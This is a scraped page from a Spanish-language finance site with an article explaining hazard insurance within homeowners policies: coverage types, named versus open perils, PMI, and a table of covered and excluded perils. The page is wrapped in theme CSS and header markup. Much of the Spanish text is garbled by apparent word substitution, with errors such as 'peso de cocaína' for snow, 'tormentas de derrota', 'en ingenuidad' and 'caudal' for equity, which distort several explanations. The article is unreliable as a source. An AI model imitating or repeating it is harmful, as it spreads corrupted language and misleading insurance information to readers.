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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Thursday, September 17, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Si alguna vez ha conocedor su política, generalmente verá varios tipos de cobertura enumeradas. Uno de estos es el seguro de peligro, que solo cubre el daño a la estructura física de su hogar. El resto de su póliza de seguro de hogar proporciona cobertura para cosas como su propiedad personal y responsabilidad. No tiene que comprar un seguro de peligro por separado, ya que ya es parte de la cobertura de seguro de su propietario, pero aún puede ser útil comprender lo que cubre y qué excluye. El equipo editorial de seguros de Bankrate está aquí para ayudarlo a estudiar los enredos de la póliza de seguro de su propietario.</p>
<h2 id="is-homeowners-insurance-the-same-as-hazard-insurance" data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Is homeowners insurance the same as hazard insurance?" data-outcome="">¿El seguro de los propietarios es el mismo que el seguro de peligro?</h2>
<p>No, el seguro de peligro no es lo mismo que el seguro de propietarios de viviendas, pero es parte de la póliza de seguro de su propietario. El seguro de peligro es una parte de la póliza de seguro promedio de propietarios de viviendas: no es poco que necesite comprar por separado. Desempeña un papel en el seguro de sus propietarios de viviendas, pero no es un término intercambiable con el seguro de propietarios.</p>
<p>El seguro de peligro y la cobertura de la vivienda son lo mismo. El seguro de vivienda es la parte de su póliza que cubre su casa auténtico, desde el techo hasta la fundación, pero no el contenido de su hogar u otras estructuras. A menudo se candela seguro de peligro porque la póliza promedio de propietarios incluye cobertura para una directorio de peligros o causas de pérdida, que pueden dañar o destruir su hogar.</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
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                <svg xmlns="http://www.w3.org/2000/svg" class="icon-offset-blue-200" viewbox="0 0 24 24" fill="currentColor" focusable="false"><title>Icono de la derrotero de seguro de hogar</title>
<path fill-rule="evenodd" clip-rule="evenodd" d="M3.8 18.325c0 .987.618 1.792 1.372 1.792h15.956c.754 0 1.372-.805 1.372-1.792v-11.5c0-.987-.618-1.792-1.372-1.792H5.172c-.754 0-1.372.805-1.372 1.792v11.5Z" fill="transparent" class="icon-offset"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M11.208 18.108h-7.16c-1.41 0-2.548-1.27-2.548-2.843V5.434c0-1.565 1.147-2.843 2.548-2.843h14.386c1.41 0 2.548 1.278 2.548 2.843v4.915c0 .36-.295.656-.655.656a.657.657 0 0 1-.655-.656V5.434c0-.844-.558-1.532-1.238-1.532H4.048c-.68 0-1.237.688-1.237 1.532v9.83c0 .845.557 1.533 1.237 1.533h7.16c.36 0 .656.295.656.655 0 .36-.295.656-.656.656Zm6.333-10.7H4.875a.657.657 0 0 1-.655-.656c0-.36.295-.655.655-.655H17.55c.36 0 .655.295.655.655 0 .36-.295.656-.655.656h-.009Zm-2.179 3.622H4.875a.657.657 0 0 1-.655-.656c0-.36.295-.655.655-.655h10.487c.36 0 .655.295.655.655 0 .36-.294.655-.655.655ZM4.818 14.642h5.088c.36 0 .655-.295.655-.655a.657.657 0 0 0-.655-.656H4.818a.657.657 0 0 0-.655.656c0 .36.295.655.655.655ZM15.01 21.41h5.268c.729 0 1.319-.606 1.319-1.351V16.44a.67.67 0 0 0 .237.045l.009-.008a.651.651 0 0 0 .41-1.163l-1.32-1.044v-1.455a.657.657 0 0 0-.655-.655.657.657 0 0 0-.656.655v.417l-1.22-.966a1.218 1.218 0 0 0-1.5 0l-3.858 3.056a.651.651 0 0 0-.107.917c.182.236.49.305.754.2v3.619c0 .745.59 1.351 1.319 1.351Zm5.268-1.31v-4.662l-2.638-2.09-2.638 2.09v4.62l5.276.042Z" class="icon-base"></path></svg>
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<p>                    ¿Qué es el seguro de peligro para las casas?
                </p>
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<p>El seguro de hogar incluye seguro de peligro. El término &#8220;seguro de peligro&#8221; solo se refiere a una parte de su póliza de seguro de hogar, la parte que cubre la estructura física de su hogar.</p>
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<p>Otro término que puede escuchar de su prestamista hipotecario es el &#8220;seguro hipotecario&#8221;. Esto es completamente diferente del seguro de peligro y hogar. El seguro hipotecario privado, o PMI, es una tarifa adicional pagada por los prestatarios que realizan un plazo original de menos del 20 por ciento, o si tiene menos del 20 por ciento de caudal al refinanciar un préstamo hipotecario. PMI trabaja para proteger a su prestamista hipotecario en caso de que incumplirá su préstamo, mientras que el seguro de vivienda protege la inversión del prestamista hipotecario en su hogar y su patrimonio en el hogar. PMI generalmente se cancela automáticamente cuando el saldo de su préstamo alcanza una relación préstamo-valor del 78 por ciento. </p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-un-boleto-de-exceso-de-velocidad-impacta-el-seguro-en-georgia" target="_self" rel="dofollow" class="ufaa26010193b2dad2d08143faf8bd22d"><!-- INLINE RELATED POSTS 1/3 //--><style> .ufaa26010193b2dad2d08143faf8bd22d { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ufaa26010193b2dad2d08143faf8bd22d:active, .ufaa26010193b2dad2d08143faf8bd22d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ufaa26010193b2dad2d08143faf8bd22d { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ufaa26010193b2dad2d08143faf8bd22d .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ufaa26010193b2dad2d08143faf8bd22d .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ufaa26010193b2dad2d08143faf8bd22d:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo un boleto de exceso de velocidad impacta el seguro en Georgia</span></div></a></div><h3>Lo que cubre el seguro de los propietarios</h3>
<p>Veamos y veamos lo que cubre una póliza de seguro de propietarios unificado. El seguro de los propietarios consiste en una colección de tipos de cobertura que aseguran diferentes aspectos de su hogar. Encima de la cobertura de la vivienda, el seguro de sus propietarios podría cubrir estructuras separadas, como un cochera separado, su propiedad personal y su responsabilidad si cualquiera está contuso en su propiedad. Los tipos de cobertura popular que se incluyen en las pólizas de seguro de propietarios de viviendas unificado incluyen:</p>
<ul>
<li>
<strong>Cobertura de vivienda:</strong> Esta parte del seguro de sus propietarios de viviendas, la parte conocida como seguro de peligro, brinda protección financiera para reparar o reemplazar la estructura física de su hogar, incluidas las bases, el techo, las paredes y las ventanas.</li>
<li>
<strong>Cobertura de propiedad personal</strong><strong>:</strong> Este aspecto de su póliza salvaguardas contra la pérdida, daño o robo de pertenencias personales interiormente de su hogar o incluso en su transporte, siempre que su política esté cubierta siempre que la causa de la pérdida (peligro) esté cubierta.</li>
<li>
<strong>Otras estructuras cobertura</strong><strong>:</strong> Si tiene alguna estructura separada en su propiedad, como cobertizos, invernaderos o cercas, la parte de otras estructuras de su política asegura que estén protegidas en caso de daños o destrucción.</li>
<li>
<strong>Cobertura de pérdida de uso</strong><strong>:</strong> En situaciones en las que debe residir en otro ocupación correcto a una pérdida cubierta, los pasos de cobertura de pérdida de uso para cubrir sus gastos de vida adicionales, como costos de alojamiento temporal, hasta un término específico.</li>
<li>
<strong>Cobertura de pagos médicos:</strong> Si un huésped resulta herido en su casa a posteriori de un peligro cubierto, esta cobertura podría avalar sus gastos médicos a límites predeterminados.</li>
<li>
<strong>Cobertura de responsabilidad personal:</strong> Si es demandado porque cualquiera está contuso en su hogar, la cobertura de responsabilidad personal podría cubrir sus gastos judiciales hasta los límites de la póliza.</li>
</ul>
<p>Como puede ver en esta directorio, el seguro de peligro es solo un componente entre un puñado de coberturas que protegen sus finanzas contra daños a diferentes nociones de su hogar y propiedad de diferentes maneras.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/las-tarifas-de-seguro-de-automovil-pueden-estar-estabilizando-por-que-sigue-subiendo-mi-prima" target="_self" rel="dofollow" class="uf9f21198ee3692f86e135a12120054b1"><!-- INLINE RELATED POSTS 2/3 //--><style> .uf9f21198ee3692f86e135a12120054b1 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .uf9f21198ee3692f86e135a12120054b1:active, .uf9f21198ee3692f86e135a12120054b1:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .uf9f21198ee3692f86e135a12120054b1 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .uf9f21198ee3692f86e135a12120054b1 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .uf9f21198ee3692f86e135a12120054b1 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .uf9f21198ee3692f86e135a12120054b1:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Las tarifas de seguro de automóvil pueden estar estabilizando. ¿Por qué sigue subiendo mi prima?</span></div></a></div><h3>Qué seguro de peligro para las casas cubre</h3>
<p>El seguro de peligro protege contra peligros con nombre o peligros abiertos, dependiendo del tipo de póliza. Veamos lo que eso significa.</p>
<p>Una política de peligros con nombre protege su hogar contra 16 peligros específicos de seguro de vivienda. &#8220;Peligros&#8221; es solo otra palabra para indicar los tipos de desastre o choque que pueden suceder dañar su hogar, como el fuego o las inundaciones.</p>
<p>Esos peligros nombrados incluyen explosiones, aviones/objetos que caen, fuego, granizada y un puñado de otros. Si su política se friso en peligros con nombre, cualquier peligro que no figura en su póliza no está cubierto en su política.</p>
<p>Una política de peligro libre, que es menos popular, protege contra casi cualquier peligro que se le ocurra, excepto por cualquier limitación que se nombre en la política. Las exclusiones comunes incluyen peligros como el colapso de estructuras internas, descarga de contaminantes, movimiento de la tierra y otros.</p>
<p>Aunque puede parecer que una política de peligro libre tiene más exclusiones que las inclusiones, en ingenuidad protege contra muchos más nociones que una política nombrada. Es por esta razón que una política de peligro libre generalmente cuesta más.</p>
<p>Hay ocho tipos de pólizas de seguro de propietarios que la mayoría de los proveedores eligen, y cada uno tiene un enfoque de peligro con nombre o un enfoque de peligro libre.</p>
<p>Pero luego se vuelve un poco más complicado, porque las políticas de HO-3, el tipo más popular, usan la estructura de peligros abiertos para cubrir su vivienda (ese es su seguro de peligro), pero un enfoque de peligros con nombre para el contenido de su hogar (esa es la parte de cobertura de propiedad personal de su póliza). Entonces, si tiene una póliza HO-3, lo que es probable, su seguro lo cubre por peligros tenuemente diferentes, dependiendo de si está cubriendo su vivienda o su propiedad personal.</p>
<p>En sumario, el seguro de peligro se refiere al seguro que lo cubre directamente financieramente si la estructura de su hogar está dañada por peligros o peligros cubiertos. No cubre la responsabilidad o los costos médicos, ni cubre ningún daño que pueda ocurrir a otras estructuras en su propiedad, como un cobertizo o un cochera separado.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/el-costo-promedio-de-poseer-un-automovil" target="_self" rel="dofollow" class="ubc0bf80d603fe01b2bd2ae4b7918a79a"><!-- INLINE RELATED POSTS 3/3 //--><style> .ubc0bf80d603fe01b2bd2ae4b7918a79a { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ubc0bf80d603fe01b2bd2ae4b7918a79a:active, .ubc0bf80d603fe01b2bd2ae4b7918a79a:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ubc0bf80d603fe01b2bd2ae4b7918a79a { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ubc0bf80d603fe01b2bd2ae4b7918a79a .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ubc0bf80d603fe01b2bd2ae4b7918a79a .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ubc0bf80d603fe01b2bd2ae4b7918a79a:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">El costo promedio de poseer un automóvil</span></div></a></div><h2 id="what-does-hazard-insurance-not-cover" data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What does hazard insurance not cover? " data-outcome="">¿Qué no cubre el seguro de peligro? </h2>
<p>El seguro de peligro es protección financiera para su hogar (techo, paredes, pisos y cimientos) de diferentes peligros. La mayoría de las pólizas de seguro de peligro protegen contra estos peligros, pero hay exclusiones importantes a tener en cuenta: </p>
<div class="w-full overflow-x-auto">
<table class="wp-block-table has-fixed-layout wrapped">
<thead>
<tr>
<th class="has-text-align-left" data-align="left">Cubierto</th>
<th class="has-text-align-left" data-align="left"><strong>Excluido</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td class="has-text-align-left" data-align="left">Fuego y relámpagos</td>
<td class="has-text-align-left" data-align="left">Terremotos</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Vandalismo y travesuras maliciosas</td>
<td class="has-text-align-left" data-align="left">Inundaciones</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Robo</td>
<td class="has-text-align-left" data-align="left">Sumideros</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Disturbios</td>
<td class="has-text-align-left" data-align="left">Desgaste</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Humo y ceniza</td>
<td class="has-text-align-left" data-align="left">Descuido</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Erupciones volcánicas</td>
<td class="has-text-align-left" data-align="left">Daño intencional</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Objetos que caen</td>
<td class="has-text-align-left" data-align="left">Plagas</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Power Surges </td>
<td class="has-text-align-left" data-align="left">Moho</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Daños causados por vehículos </td>
<td class="has-text-align-left" data-align="left">Conflicto</td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Daño causado por la nave espacial </td>
<td class="has-text-align-left" data-align="left">Peligro nuclear </td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Peso de cocaína, hielo o aguanieve</td>
<td class="has-text-align-left" data-align="left">Influencia del gobierno </td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Granizada y tormentas de derrota</td>
<td class="has-text-align-left" data-align="left"> </td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Explosiones</td>
<td class="has-text-align-left" data-align="left"> </td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Rolado o agrietamiento de un sistema de agua caliente, clima acondicionado o rociadores de incendios</td>
<td class="has-text-align-left" data-align="left"> </td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Congelación de una calefacción, fontanería, rociador de incendios, sistema de clima acondicionado o electrodoméstico </td>
<td class="has-text-align-left" data-align="left"> </td>
</tr>
<tr>
<td class="has-text-align-left" data-align="left">Descarga accidental de agua de una calefacción, plomería, rociador de incendios, sistema de clima acondicionado o electrodoméstico </td>
<td class="has-text-align-left" data-align="left"> </td>
</tr>
</tbody>
</table>
</div>
<p>Algunas exclusiones pueden estar aseguradas con diferentes políticas. Por ejemplo, puede comprar una póliza de seguro de terremotos para proteger su hogar financieramente de la actividad sísmica. El seguro contra inundaciones todavía está habitable, e incluso puede ser requerido por su prestamista hipotecario encima del seguro de peligro. </p>
